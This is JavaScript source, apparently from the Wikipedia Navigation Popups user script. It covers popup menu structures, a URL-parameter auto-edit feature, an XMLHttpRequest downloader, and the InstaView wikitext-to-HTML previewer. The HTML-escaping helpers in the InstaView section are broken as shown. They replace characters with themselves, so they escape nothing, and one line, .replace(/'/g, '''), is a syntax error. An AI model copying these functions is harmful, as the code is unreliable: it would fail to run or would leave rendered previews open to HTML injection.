s.push('<hr />' + contribs + '<<userlog|shortcut=L|user log>>');
s.push('if(wikimedia){<<count|shortcut=#|edit counter>>}');
s.push(
'if(admin){<menurow><<unblock|unblockShort>>|<<block|shortcut=b|block user>></menurow>}'
);
s.push('<<blocklog|shortcut=B|block log>>');
s.push('</menu>' + enddiv + '}');
// popups menu starts here
if (getValueOf('popupSetupMenu') && !x.navpop.hasPopupMenu /* FIXME: hack */) {
x.navpop.hasPopupMenu = true;
s.push('*' + menuTitle(dropclass, 'popupsMenu') + '<menu>');
s.push('<<togglePreviews|toggle previews>>');
s.push('<<purgePopups|reset>>');
s.push('<<disablePopups|disable>>');
s.push('</menu>' + enddiv);
}
return navlinkStringToHTML(s.join(''), x.article, x.params);
};
function menuTitle(dropclass, s) {
const text = popupString(s); // i18n
const len = text.length;
return '<div class="' + dropclass + '" style="--navpop-m-len:' + len + 'ch"><a href="#" noPopup=1>' + text + '</a>';
}
pg.structures.menus.popupRedirTitle = pg.structures.menus.popupTitle;
pg.structures.menus.popupRedirTopLinks = pg.structures.menus.popupTopLinks;
copyStructure('menus', 'shortmenus');
pg.structures.shortmenus.popupTopLinks = function (x) {
return pg.structures.menus.popupTopLinks(x, true);
};
pg.structures.shortmenus.popupRedirTopLinks = pg.structures.shortmenus.popupTopLinks;
pg.structures.lite = {};
pg.structures.lite.popupLayout = function () {
return ['popupTitle', 'popupPreview'];
};
pg.structures.lite.popupTitle = function (x) {
log(x.article + ': structures.lite.popupTitle');
//return navlinkStringToHTML('<b><<mainlink>></b>',x.article,x.params);
return '<div><span class="popup_mainlink"><b>' + x.article.toString() + '</b></span></div>';
};
// ENDFILE: structures.js
// STARTFILE: autoedit.js
function substitute(data, cmdBody) {
// alert('sub\nfrom: '+cmdBody.from+'\nto: '+cmdBody.to+'\nflags: '+cmdBody.flags);
const fromRe = RegExp(cmdBody.from, cmdBody.flags);
return data.replace(fromRe, cmdBody.to);
}
function execCmds(data, cmdList) {
for (let i = 0; i < cmdList.length; ++i) {
data = cmdList[i].action(data, cmdList[i]);
}
return data;
}
function parseCmd(str) {
// returns a list of commands
if (!str.length) {
return [];
}
let p = false;
switch (str.charAt(0)) {
case 's':
p = parseSubstitute(str);
break;
default:
return false;
}
if (p) {
return [p].concat(parseCmd(p.remainder));
}
return false;
}
// FIXME: Only used once here, confusing with native (and more widely-used) unescape, should probably be replaced
// Then again, unescape is semi-soft-deprecated, so we should look into replacing that too
function unEscape(str, sep) {
return str
.split('\\\\')
.join('\\')
.split('\\' + sep)
.join(sep)
.split('\\n')
.join('\n');
}
function parseSubstitute(str) {
// takes a string like s/a/b/flags;othercmds and parses it
let from, to, flags, tmp;
if (str.length < 4) {
return false;
}
const sep = str.charAt(1);
str = str.substring(2);
tmp = skipOver(str, sep);
if (tmp) {
from = tmp.segment;
str = tmp.remainder;
} else {
return false;
}
tmp = skipOver(str, sep);
if (tmp) {
to = tmp.segment;
str = tmp.remainder;
} else {
return false;
}
flags = '';
if (str.length) {
tmp = skipOver(str, ';') || skipToEnd(str, ';');
if (tmp) {
flags = tmp.segment;
str = tmp.remainder;
}
}
return {
action: substitute,
from: from,
to: to,
flags: flags,
remainder: str,
};
}
function skipOver(str, sep) {
const endSegment = findNext(str, sep);
if (endSegment < 0) {
return false;
}
const segment = unEscape(str.substring(0, endSegment), sep);
return { segment: segment, remainder: str.substring(endSegment + 1) };
}
/*eslint-disable*/
function skipToEnd(str, sep) {
return { segment: str, remainder: '' };
}
/*eslint-enable */
function findNext(str, ch) {
for (let i = 0; i < str.length; ++i) {
if (str.charAt(i) == '\\') {
i += 2;
}
if (str.charAt(i) == ch) {
return i;
}
}
return -1;
}
function setCheckbox(param, box) {
const val = mw.util.getParamValue(param);
if (val) {
switch (val) {
case '1':
case 'yes':
case 'true':
box.checked = true;
break;
case '0':
case 'no':
case 'false':
box.checked = false;
}
}
}
function autoEdit() {
setupPopups(() => {
if (mw.util.getParamValue('autoimpl') !== popupString('autoedit_version')) {
return false;
}
if (
mw.util.getParamValue('autowatchlist') &&
mw.util.getParamValue('actoken') === autoClickToken()
) {
pg.fn.modifyWatchlist(mw.util.getParamValue('title'), mw.util.getParamValue('action'));
}
if (!document.editform) {
return false;
}
if (autoEdit.alreadyRan) {
return false;
}
autoEdit.alreadyRan = true;
const cmdString = mw.util.getParamValue('autoedit');
if (cmdString) {
try {
const editbox = document.editform.wpTextbox1;
const cmdList = parseCmd(cmdString);
const input = editbox.value;
const output = execCmds(input, cmdList);
editbox.value = output;
} catch (dang) {
return;
}
// wikEd user script compatibility
if (typeof wikEdUseWikEd != 'undefined') {
if (wikEdUseWikEd === true) {
WikEdUpdateFrame();
}
}
}
setCheckbox('autominor', document.editform.wpMinoredit);
setCheckbox('autowatch', document.editform.wpWatchthis);
const rvid = mw.util.getParamValue('autorv');
if (rvid) {
const url =
pg.wiki.apiwikibase +
'?action=query&format=json&formatversion=2&prop=revisions&revids=' +
rvid;
startDownload(url, null, autoEdit2);
} else {
autoEdit2();
}
});
}
function autoEdit2(d) {
let summary = mw.util.getParamValue('autosummary');
let summaryprompt = mw.util.getParamValue('autosummaryprompt');
let summarynotice = '';
if (d && d.data && mw.util.getParamValue('autorv')) {
const s = getRvSummary(summary, d.data);
if (s === false) {
summaryprompt = true;
summarynotice = popupString(
'Failed to get revision information, please edit manually.\n\n'
);
summary = simplePrintf(summary, [
mw.util.getParamValue('autorv'),
'(unknown)',
'(unknown)',
]);
} else {
summary = s;
}
}
if (summaryprompt) {
const txt =
summarynotice + popupString('Enter a non-empty edit summary or press cancel to abort');
const response = prompt(txt, summary);
if (response) {
summary = response;
} else {
return;
}
}
if (summary) {
document.editform.wpSummary.value = summary;
}
// Attempt to avoid possible premature clicking of the save button
// (maybe delays in updates to the DOM are to blame?? or a red herring)
setTimeout(autoEdit3, 100);
}
function autoClickToken() {
return mw.user.sessionId();
}
function autoEdit3() {
if (mw.util.getParamValue('actoken') != autoClickToken()) {
return;
}
const btn = mw.util.getParamValue('autoclick');
if (btn) {
if (document.editform && document.editform[btn]) {
const button = document.editform[btn];
const msg = tprintf(
'The %s button has been automatically clicked. Please wait for the next page to load.',
[button.value]
);
bannerMessage(msg);
document.title = '(' + document.title + ')';
button.click();
} else {
alert(
tprintf('Could not find button %s. Please check the settings in your javascript file.', [
btn,
])
);
}
}
}
function bannerMessage(s) {
const headings = document.getElementsByTagName('h1');
if (headings) {
const div = document.createElement('div');
div.innerHTML = '<font size=+1><b>' + pg.escapeQuotesHTML(s) + '</b></font>';
headings[0].parentNode.insertBefore(div, headings[0]);
}
}
function getRvSummary(template, json) {
try {
const o = getJsObj(json);
const edit = anyChild(o.query.pages).revisions[0];
const timestamp = edit.timestamp
.split(/[A-Z]/g)
.join(' ')
.replace(/^ *| *$/g, '');
return simplePrintf(template, [
edit.revid,
timestamp,
edit.userhidden ? '(hidden)' : edit.user,
]);
} catch (badness) {
return false;
}
}
// ENDFILE: autoedit.js
// STARTFILE: downloader.js
/**
* @file
* {@link Downloader}, a xmlhttprequest wrapper, and helper functions.
*/
/**
* Creates a new Downloader
*
* @constructor
* @class The Downloader class. Create a new instance of this class to download stuff.
* @param {string} url The url to download. This can be omitted and supplied later.
*/
function Downloader(url) {
if (typeof XMLHttpRequest != 'undefined') {
this.http = new XMLHttpRequest();
}
/**
* The url to download
*
* @type {string}
*/
this.url = url;
/**
* A universally unique ID number
*
* @type {number}
*/
this.id = null;
/**
* Modification date, to be culled from the incoming headers
*
* @type {Date}
* @private
*/
this.lastModified = null;
/**
* What to do when the download completes successfully
*
* @type {Function}
* @private
*/
this.callbackFunction = null;
/**
* What to do on failure
*
* @type {Function}
* @private
*/
this.onFailure = null;
/**
* Flag set on <code>abort</code>
*
* @type {boolean}
*/
this.aborted = false;
/**
* HTTP method. See https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html for
* possibilities.
*
* @type {string}
*/
this.method = 'GET';
/**
* Async flag.
*
* @type {boolean}
*/
this.async = true;
}
new Downloader();
/** Submits the http request. */
Downloader.prototype.send = function (x) {
if (!this.http) {
return null;
}
return this.http.send(x);
};
/** Aborts the download, setting the <code>aborted</code> field to true. */
Downloader.prototype.abort = function () {
if (!this.http) {
return null;
}
this.aborted = true;
return this.http.abort();
};
/** Returns the downloaded data. */
Downloader.prototype.getData = function () {
if (!this.http) {
return null;
}
return this.http.responseText;
};
/** Prepares the download. */
Downloader.prototype.setTarget = function () {
if (!this.http) {
return null;
}
this.http.open(this.method, this.url, this.async);
this.http.setRequestHeader('Api-User-Agent', pg.api.userAgent);
};
/** Gets the state of the download. */
Downloader.prototype.getReadyState = function () {
if (!this.http) {
return null;
}
return this.http.readyState;
};
pg.misc.downloadsInProgress = {};
/**
* Starts the download.
* Note that setTarget {@link Downloader#setTarget} must be run first
*/
Downloader.prototype.start = function () {
if (!this.http) {
return;
}
pg.misc.downloadsInProgress[this.id] = this;
this.http.send(null);
};
/**
* Gets the 'Last-Modified' date from the download headers.
* Should be run after the download completes.
* Returns <code>null</code> on failure.
*
* @return {Date}
*/
Downloader.prototype.getLastModifiedDate = function () {
if (!this.http) {
return null;
}
let lastmod = null;
try {
lastmod = this.http.getResponseHeader('Last-Modified');
} catch (err) {}
if (lastmod) {
return new Date(lastmod);
}
return null;
};
/**
* Sets the callback function.
*
* @param {Function} f callback function, called as <code>f(this)</code> on success
*/
Downloader.prototype.setCallback = function (f) {
if (!this.http) {
return;
}
this.http.onreadystatechange = f;
};
Downloader.prototype.getStatus = function () {
if (!this.http) {
return null;
}
return this.http.status;
};
//////////////////////////////////////////////////
// helper functions
/**
* Creates a new {@link Downloader} and prepares it for action.
*
* @param {string} url The url to download
* @param {number} id The ID of the {@link Downloader} object
* @param {Function} callback The callback function invoked on success
* @return {string|Downloader} the {@link Downloader} object created, or 'ohdear' if an unsupported browser
*/
function newDownload(url, id, callback, onfailure) {
const d = new Downloader(url);
if (!d.http) {
return 'ohdear';
}
d.id = id;
d.setTarget();
if (!onfailure) {
onfailure = 2;
}
const f = function () {
if (d.getReadyState() == 4) {
delete pg.misc.downloadsInProgress[this.id];
try {
if (d.getStatus() == 200) {
d.data = d.getData();
d.lastModified = d.getLastModifiedDate();
callback(d);
} else if (typeof onfailure == typeof 1) {
if (onfailure > 0) {
// retry
newDownload(url, id, callback, onfailure - 1);
}
} else if (typeof onfailure === 'function') {
onfailure(d, url, id, callback);
}
} catch (somerr) {
/* ignore it */
}
}
};
d.setCallback(f);
return d;
}
/**
* Simulates a download from cached data.
* The supplied data is put into a {@link Downloader} as if it had downloaded it.
*
* @param {string} url The url.
* @param {number} id The ID.
* @param {Function} callback The callback, which is invoked immediately as <code>callback(d)</code>,
* where <code>d</code> is the new {@link Downloader}.
* @param {string} data The (cached) data.
* @param {Date} lastModified The (cached) last modified date.
*/
function fakeDownload(url, id, callback, data, lastModified, owner) {
const d = newDownload(url, callback);
d.owner = owner;
d.id = id;
d.data = data;
d.lastModified = lastModified;
return callback(d);
}
/**
* Starts a download.
*
* @param {string} url The url to download
* @param {number} id The ID of the {@link Downloader} object
* @param {Function} callback The callback function invoked on success
* @return {string|Downloader} the {@link Downloader} object created, or 'ohdear' if an unsupported browser
*/
function startDownload(url, id, callback) {
const d = newDownload(url, id, callback);
if (typeof d == typeof '') {
return d;
}
d.start();
return d;
}
/**
* Aborts all downloads which have been started.
*/
function abortAllDownloads() {
for (const x in pg.misc.downloadsInProgress) {
try {
pg.misc.downloadsInProgress[x].aborted = true;
pg.misc.downloadsInProgress[x].abort();
delete pg.misc.downloadsInProgress[x];
} catch (e) {}
}
}
// ENDFILE: downloader.js
// STARTFILE: livepreview.js
// TODO: location is often not correct (eg relative links in previews)
// NOTE: removed md5 and image and math parsing. was broken, lots of bytes.
/**
* InstaView - a Mediawiki to HTML converter in JavaScript
* Version 0.6.1
* Copyright (C) Pedro Fayolle 2005-2006
* https://en.wikipedia.org/wiki/User:Pilaf
* Distributed under the BSD license
*
* Changelog:
*
* 0.6.1
* - Fixed problem caused by \r characters
* - Improved inline formatting parser
*
* 0.6
* - Changed name to InstaView
* - Some major code reorganizations and factored out some common functions
* - Handled conversion of relative links (i.e. [[/foo]])
* - Fixed misrendering of adjacent definition list items
* - Fixed bug in table headings handling
* - Changed date format in signatures to reflect Mediawiki's
* - Fixed handling of [[:Image:...]]
* - Updated MD5 function (hopefully it will work with UTF-8)
* - Fixed bug in handling of links inside images
*
* To do:
* - Better support for math tags
* - Full support for <nowiki>
* - Parser-based (as opposed to RegExp-based) inline wikicode handling (make it one-pass and
* bullet-proof)
* - Support for templates (through AJAX)
* - Support for coloured links (AJAX)
*/
const Insta = {};
function setupLivePreview() {
// options
Insta.conf = {
baseUrl: '',
user: {},
wiki: {
lang: pg.wiki.lang,
interwiki: pg.wiki.interwiki,
default_thumb_width: 180,
},
paths: {
articles: pg.wiki.articlePath + '/',
// Only used for Insta previews with images. (not in popups)
math: '/math/',
images: '//upload.wikimedia.org/wikipedia/en/', // FIXME getImageUrlStart(pg.wiki.hostname),
images_fallback: '//upload.wikimedia.org/wikipedia/commons/',
},
locale: {
user: mw.config.get('wgFormattedNamespaces')[pg.nsUserId],
image: mw.config.get('wgFormattedNamespaces')[pg.nsImageId],
category: mw.config.get('wgFormattedNamespaces')[pg.nsCategoryId],
// shouldn't be used in popup previews, i think
months: [
'Jan',
'Feb',
'Mar',
'Apr',
'May',
'Jun',
'Jul',
'Aug',
'Sep',
'Oct',
'Nov',
'Dec',
],
},
};
// options with default values or backreferences
Insta.conf.user.name = Insta.conf.user.name || 'Wikipedian';
Insta.conf.user.signature =
'[[' +
Insta.conf.locale.user +
':' +
Insta.conf.user.name +
'|' +
Insta.conf.user.name +
']]';
//Insta.conf.paths.images = '//upload.wikimedia.org/wikipedia/' + Insta.conf.wiki.lang + '/';
// define constants
Insta.BLOCK_IMAGE = new RegExp(
'^\\[\\[(?:File|Image|' +
Insta.conf.locale.image +
'):.*?\\|.*?(?:frame|thumbnail|thumb|none|right|left|center)',
'i'
);
}
Insta.dump = function (from, to) {
if (typeof from == 'string') {
from = document.getElementById(from);
}
if (typeof to == 'string') {
to = document.getElementById(to);
}
to.innerHTML = this.convert(from.value);
};
Insta.convert = function (wiki) {
let ll = typeof wiki == 'string' ? wiki.replace(/\r/g, '').split(/\n/) : wiki, // lines of wikicode
o = '', // output
p = 0, // para flag
r; // result of passing a regexp to compareLineStringOrReg()
// some shorthands
function remain() {
return ll.length;
}
function sh() {
return ll.shift();
} // shift
function ps(s) {
o += s;
} // push
// similar to C's printf, uses ? as placeholders, ?? to escape question marks
function f() {
let i = 1,
a = arguments,
f = a[0],
o = '',
c,
p;
for (; i < a.length; i++) {
if ((p = f.indexOf('?')) + 1) {
// allow character escaping
i -= c = f.charAt(p + 1) == '?' ? 1 : 0;
o += f.substring(0, p) + (c ? '?' : a[i]);
f = f.substr(p + 1 + c);
} else {
break;
}
}
return o + f;
}
function html_entities(s) {
return s.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
}
// Wiki text parsing to html is a nightmare.
// The below functions deliberately don't escape the ampersand since this would make it more
// difficult, and we don't absolutely need to for how we need it. This means that any
// unescaped ampersands in wikitext will remain unescaped and can cause invalid HTML.
// Browsers should all be able to handle it though. We also escape significant wikimarkup
// characters to prevent further matching on the processed text.
function htmlescape_text(s) {
return s
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/:/g, ':')
.replace(/\[/g, '[')
.replace(/]/g, ']');
}
function htmlescape_attr(s) {
return htmlescape_text(s).replace(/'/g, ''').replace(/"/g, '"');
}
// return the first non matching character position between two strings
function str_imatch(a, b) {
for (var i = 0, l = Math.min(a.length, b.length); i < l; i++) {
if (a.charAt(i) != b.charAt(i)) {
break;
}
}
return i;
}
// compare current line against a string or regexp
// if passed a string it will compare only the first string.length characters
// if passed a regexp the result is stored in r
function compareLineStringOrReg(c) {
return typeof c == 'string' ?
ll[0] && ll[0].substr(0, c.length) == c :
(r = ll[0] && ll[0].match(c));
}
function compareLineString(c) {
return ll[0] == c;
} // compare current line against a string
function charAtPoint(p) {
return ll[0].charAt(p);
} // return char at pos p
function endl(s) {
ps(s);
sh();
}
function parse_list() {
let prev = '';
while (remain() && compareLineStringOrReg(/^([*#:;]+)(.*)$/)) {
const l_match = r;
sh();
const ipos = str_imatch(prev, l_match[1]);
// close uncontinued lists
for (let prevPos = prev.length - 1; prevPos >= ipos; prevPos--) {
const pi = prev.charAt(prevPos);
if (pi == '*') {
ps('</ul>');
} else if (pi == '#') {
ps('</ol>');
}
// close a dl only if the new item is not a dl item (:, ; or empty)
else if ($.inArray(l_match[1].charAt(prevPos), ['', '*', '#'])) {
ps('</dl>');
}
}
// open new lists
for (let matchPos = ipos; matchPos < l_match[1].length; matchPos++) {
const li = l_match[1].charAt(matchPos);
if (li == '*') {
ps('<ul>');
} else if (li == '#') {
ps('<ol>');
}
// open a new dl only if the prev item is not a dl item (:, ; or empty)
else if ($.inArray(prev.charAt(matchPos), ['', '*', '#'])) {
ps('<dl>');
}
}
switch (l_match[1].charAt(l_match[1].length - 1)) {
case '*':
case '#':
ps('<li>' + parse_inline_nowiki(l_match[2]));
break;
case ';':
ps('<dt>');
var dt_match = l_match[2].match(/(.*?)(:.*?)$/);
// handle ;dt :dd format
if (dt_match) {
ps(parse_inline_nowiki(dt_match[1]));
ll.unshift(dt_match[2]);
} else {
ps(parse_inline_nowiki(l_match[2]));
}
break;
case ':':
ps('<dd>' + parse_inline_nowiki(l_match[2]));
}
prev = l_match[1];
}
// close remaining lists
for (let i = prev.length - 1; i >= 0; i--) {
ps(f('</?>', prev.charAt(i) == '*' ? 'ul' : prev.charAt(i) == '#' ? 'ol' : 'dl'));
}
}
function parse_table() {
endl(f('<table>', compareLineStringOrReg(/^\{\|( .*)$/) ? r[1] : ''));
for (; remain(); ) {
if (compareLineStringOrReg('|')) {
switch (charAtPoint(1)) {
case '}':
endl('</table>');
return;
case '-':
endl(f('<tr>', compareLineStringOrReg(/\|-*(.*)/)[1]));
break;
default:
parse_table_data();
}
} else if (compareLineStringOrReg('!')) {
parse_table_data();
} else {
sh();
}
}
}
function parse_table_data() {
let td_line, match_i;
// 1: "|+", '|' or '+'
// 2: ??
// 3: attributes ??
// TODO: finish commenting this regexp
const td_match = sh().match(/^(\|\+|\||!)((?:([^[|]*?)\|(?!\|))?(.*))$/);
if (td_match[1] == '|+') {
ps('<caption');
} else {
ps('<t' + (td_match[1] == '|' ? 'd' : 'h'));
}
if (typeof td_match[3] != 'undefined') {
//ps(' ' + td_match[3])
match_i = 4;
} else {
match_i = 2;
}
ps('>');
if (td_match[1] != '|+') {
// use || or !! as a cell separator depending on context
// NOTE: when split() is passed a regexp make sure to use non-capturing brackets
td_line = td_match[match_i].split(td_match[1] == '|' ? '||' : /(?:\|\||!!)/);
ps(parse_inline_nowiki(td_line.shift()));
while (td_line.length) {
ll.unshift(td_match[1] + td_line.pop());
}
} else {
ps(parse_inline_nowiki(td_match[match_i]));
}
let tc = 0,
td = [];
while (remain()) {
td.push(sh());
if (compareLineStringOrReg('|')) {
if (!tc) {
break;
}
// we're at the outer-most level (no nested tables), skip to td parse
else if (charAtPoint(1) == '}') {
tc--;
}
} else if (!tc && compareLineStringOrReg('!')) {
break;
} else if (compareLineStringOrReg('{|')) {
tc++;
}
}
if (td.length) {
ps(Insta.convert(td));
}
}
function parse_pre() {
ps('<pre>');
do {
endl(parse_inline_nowiki(ll[0].substring(1)) + '\n');
} while (remain() && compareLineStringOrReg(' '));
ps('</pre>');
}
function parse_block_image() {
ps(parse_image(sh()));
}
function parse_image(str) {
// get what's in between "[[Image:" and "]]"
let tag = str.substring(str.indexOf(':') + 1, str.length - 2);
let width;
let attr = [],
filename,
caption = '';
let thumb = 0,
frame = 0,
center = 0;
let align = '';
if (tag.match(/\|/)) {
// manage nested links
let nesting = 0;
let last_attr;
for (let i = tag.length - 1; i > 0; i--) {
if (tag.charAt(i) == '|' && !nesting) {
last_attr = tag.substr(i + 1);
tag = tag.substring(0, i);
break;
} else {
switch (tag.substr(i - 1, 2)) {
case ']]':
nesting++;
i--;
break;
case '[[':
nesting--;
i--;
}
}
}
attr = tag.split(/\s*\|\s*/);
attr.push(last_attr);
filename = attr.shift();
let w_match;
for (; attr.length; attr.shift()) {
w_match = attr[0].match(/^(\d*)(?:[px]*\d*)?px$/);
if (w_match) {
width = w_match[1];
} else {
switch (attr[0]) {
case 'thumb':
case 'thumbnail':
thumb = true;
frame = true;
break;
case 'frame':
frame = true;
break;
case 'none':
case 'right':
case 'left':
center = false;
align = attr[0];
break;
case 'center':
center = true;
align = 'none';
break;
default:
if (attr.length == 1) {
caption = attr[0];
}
}
}
}
} else {
filename = tag;
}
return '';
}
function parse_inline_nowiki(str) {
let start,
lastend = 0;
let substart = 0,
nestlev = 0,
open,
close,
subloop;
let html = '';
while ((start = str.indexOf('<nowiki>', substart)) != -1) {
html += parse_inline_wiki(str.substring(lastend, start));
start += 8;
substart = start;
subloop = true;
do {
open = str.indexOf('<nowiki>', substart);
close = str.indexOf('</nowiki>', substart);
if (close <= open || open == -1) {
if (close == -1) {
return html + html_entities(str.substr(start));
}
substart = close + 9;
if (nestlev) {
nestlev--;
} else {
lastend = substart;
html += html_entities(str.substring(start, lastend - 9));
subloop = false;
}
} else {
substart = open + 8;
nestlev++;
}
} while (subloop);
}
return html + parse_inline_wiki(str.substr(lastend));
}
function parse_inline_images(str) {
let start,
substart = 0,
nestlev = 0;
let loop, close, open, wiki, html;
while ((start = str.indexOf('[[', substart)) != -1) {
if (
str.substr(start + 2).match(RegExp('^(Image|File|' + Insta.conf.locale.image + '):', 'i'))
) {
loop = true;
substart = start;
do {
substart += 2;
close = str.indexOf(']]', substart);
open = str.indexOf('[[', substart);
if (close <= open || open == -1) {
if (close == -1) {
return str;
}
substart = close;
if (nestlev) {
nestlev--;
} else {
wiki = str.substring(start, close + 2);
html = parse_image(wiki);
str = str.replace(wiki, html);
substart = start + html.length;
loop = false;
}
} else {
substart = open;
nestlev++;
}
} while (loop);
} else {
break;
}
}
return str;
}
// the output of this function doesn't respect the FILO structure of HTML
// but since most browsers can handle it I'll save myself the hassle
function parse_inline_formatting(str) {
let italic,
bold,
i,
li,
o = '';
while ((i = str.indexOf("''", li)) + 1) {
o += str.substring(li, i);
li = i + 2;
if (str.charAt(i + 2) == "'") {
li++;
bold = !bold;
o += bold ? '<b>' : '</b>';
} else {
italic = !italic;
o += italic ? '<i>' : '</i>';
}
}
return o + str.substr(li);
}
function parse_inline_wiki(str) {
str = parse_inline_images(str);
// math
str = str.replace(/<(?:)math>(.*?)<\/math>/gi, '');
// Build a Mediawiki-formatted date string
let date = new Date();
let minutes = date.getUTCMinutes();
if (minutes < 10) {
minutes = '0' + minutes;
}
date = f(
'?:?, ? ? ? (UTC)',
date.getUTCHours(),
minutes,
date.getUTCDate(),
Insta.conf.locale.months[date.getUTCMonth()],
date.getUTCFullYear()
);
// text formatting
str =
str
// signatures
.replace(/~{5}(?!~)/g, date)
.replace(/~{4}(?!~)/g, Insta.conf.user.name + ' ' + date)
.replace(/~{3}(?!~)/g, Insta.conf.user.name)
// [[:Category:...]], [[:Image:...]], etc...
.replace(
RegExp(
'\\[\\[:((?:' +
Insta.conf.locale.category +
'|Image|File|' +
Insta.conf.locale.image +
'|' +
Insta.conf.wiki.interwiki +
'):[^|]*?)\\]\\](\\w*)',
'gi'
),
($0, $1, $2) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($1) + htmlescape_text($2)
)
)
// remove straight category and interwiki tags
.replace(
RegExp(
'\\[\\[(?:' +
Insta.conf.locale.category +
'|' +
Insta.conf.wiki.interwiki +
'):.*?\\]\\]',
'gi'
),
''
)
// [[:Category:...|Links]], [[:Image:...|Links]], etc...
.replace(
RegExp(
'\\[\\[:((?:' +
Insta.conf.locale.category +
'|Image|File|' +
Insta.conf.locale.image +
'|' +
Insta.conf.wiki.interwiki +
'):.*?)\\|([^\\]]+?)\\]\\](\\w*)',
'gi'
),
($0, $1, $2, $3) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($2) + htmlescape_text($3)
)
)
// [[/Relative links]]
.replace(/\[\[(\/[^|]*?)\]\]/g, ($0, $1) => f(
"<a href='?'>?</a>",
Insta.conf.baseUrl + htmlescape_attr($1),
htmlescape_text($1)
))
// [[/Replaced|Relative links]]
.replace(/\[\[(\/.*?)\|(.+?)\]\]/g, ($0, $1, $2) => f(
"<a href='?'>?</a>",
Insta.conf.baseUrl + htmlescape_attr($1),
htmlescape_text($2)
))
// [[Common links]]
.replace(/\[\[([^[|]*?)\]\](\w*)/g, ($0, $1, $2) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($1) + htmlescape_text($2)
))
// [[Replaced|Links]]
.replace(/\[\[([^[]*?)\|([^\]]+?)\]\](\w*)/g, ($0, $1, $2, $3) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($2) + htmlescape_text($3)
))
// [[Stripped:Namespace|Namespace]]
.replace(/\[\[([^\]]*?:)?(.*?)( *\(.*?\))?\|\]\]/g, ($0, $1, $2, $3) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles +
htmlescape_attr($1) +
htmlescape_attr($2) +
htmlescape_attr($3),
htmlescape_text($2)
))
// External links
.replace(
/\[(https?|news|ftp|mailto|gopher|irc):(\/*)([^\]]*?) (.*?)\]/g,
($0, $1, $2, $3, $4) => f(
"<a class='external' href='?:?'>?</a>",
htmlescape_attr($1),
htmlescape_attr($2) + htmlescape_attr($3),
htmlescape_text($4)
)
)
.replace(/\[http:\/\/(.*?)\]/g, ($0, $1) => f("<a class='external' href='http://?'>[#]</a>", htmlescape_attr($1)))
.replace(/\[(news|ftp|mailto|gopher|irc):(\/*)(.*?)\]/g, ($0, $1, $2, $3) => f(
"<a class='external' href='?:?'>?:?</a>",
htmlescape_attr($1),
htmlescape_attr($2) + htmlescape_attr($3),
htmlescape_text($1),
htmlescape_text($2) + htmlescape_text($3)
))
.replace(
/(^| )(https?|news|ftp|mailto|gopher|irc):(\/*)([^ $]*[^.,!?;: $])/g,
($0, $1, $2, $3, $4) => f(
"?<a class='external' href='?:?'>?:?</a>",
htmlescape_text($1),
htmlescape_attr($2),
htmlescape_attr($3) + htmlescape_attr($4),
htmlescape_text($2),
htmlescape_text($3) + htmlescape_text($4)
)
)
.replace('__NOTOC__', '')
.replace('__NOINDEX__', '')
.replace('__INDEX__', '')
.replace('__NOEDITSECTION__', '');
return parse_inline_formatting(str);
}
// begin parsing
for (; remain(); ) {
if (compareLineStringOrReg(/^(={1,6})(.*)\1(.*)$/)) {
p = 0;
endl(f('<h?>?</h?>?', r[1].length, parse_inline_nowiki(r[2]), r[1].length, r[3]));
} else if (compareLineStringOrReg(/^[*#:;]/)) {
p = 0;
parse_list();
} else if (compareLineStringOrReg(' ')) {
p = 0;
parse_pre();
} else if (compareLineStringOrReg('{|')) {
p = 0;
parse_table();
} else if (compareLineStringOrReg(/^----+$/)) {
p = 0;
endl('<hr />');
} else if (compareLineStringOrReg(Insta.BLOCK_IMAGE)) {
p = 0;
parse_block_image();
} else {
// handle paragraphs
if (compareLineString('')) {
p = remain() > 1 && ll[1] === '';
if (p) {
endl('<p><br>');
}
} else {
if (!p) {
ps('<p>');
p = 1;
}
ps(parse_inline_nowiki(ll[0]) + ' ');
}
sh();
}
}
return o;
};
function wiki2html(txt, baseurl) {
Insta.conf.baseUrl = baseurl;
return Insta.convert(txt);
}
// ENDFILE: livepreview.js
// STARTFILE: pageinfo.js
function popupFilterPageSize(data) {
return formatBytes(data.length);
}
function popupFilterCountLinks(data) {
const num = countLinks(data);
return String(num) + ' ' + (num != 1 ? popupString('wikiLinks') : popupString('wikiLink'));
}
function popupFilterCountImages(data) {
const num = countImages(data);
return String(num) + ' ' + (num != 1 ? popupString('images') : popupString('image'));
}
function popupFilterCountCategories(data) {
const num = countCategories(data);
return (
String(num) + ' ' + (num != 1 ? popupString('categories') : popupString('category'))
);
}
function popupFilterLastModified(data, download) {
const lastmod = download.lastModified;
const now = new Date();
const age = now - lastmod;
if (lastmod && getValueOf('popupLastModified')) {
return tprintf('%s old', [formatAge(age)]).replace(/ /g, ' ');
}
return '';
}
function popupFilterWikibaseItem(data, download) {
return download.wikibaseItem ?
tprintf('<a href="%s">%s</a>', [
download.wikibaseRepo.replace(/\$1/g, download.wikibaseItem),
download.wikibaseItem,
]) :
'';
}
function formatAge(age) {
// coerce into a number
let a = 0 + age,
aa = a;
const seclen = 1000;
const minlen = 60 * seclen;
const hourlen = 60 * minlen;
const daylen = 24 * hourlen;
const weeklen = 7 * daylen;
const numweeks = (a - (a % weeklen)) / weeklen;
a = a - numweeks * weeklen;
const sweeks = addunit(numweeks, 'week');
const numdays = (a - (a % daylen)) / daylen;
a = a - numdays * daylen;
const sdays = addunit(numdays, 'day');
const numhours = (a - (a % hourlen)) / hourlen;
a = a - numhours * hourlen;
const shours = addunit(numhours, 'hour');
const nummins = (a - (a % minlen)) / minlen;
a = a - nummins * minlen;
const smins = addunit(nummins, 'minute');
const numsecs = (a - (a % seclen)) / seclen;
a = a - numsecs * seclen;
const ssecs = addunit(numsecs, 'second');
if (aa > 4 * weeklen) {
return sweeks;
}
if (aa > weeklen) {
return sweeks + ' ' + sdays;
}
if (aa > daylen) {
return sdays + ' ' + shours;
}
if (aa > 6 * hourlen) {
return shours;
}
if (aa > hourlen) {
return shours + ' ' + smins;
}
if (aa > 10 * minlen) {
return smins;
}
if (aa > minlen) {
return smins + ' ' + ssecs;
}
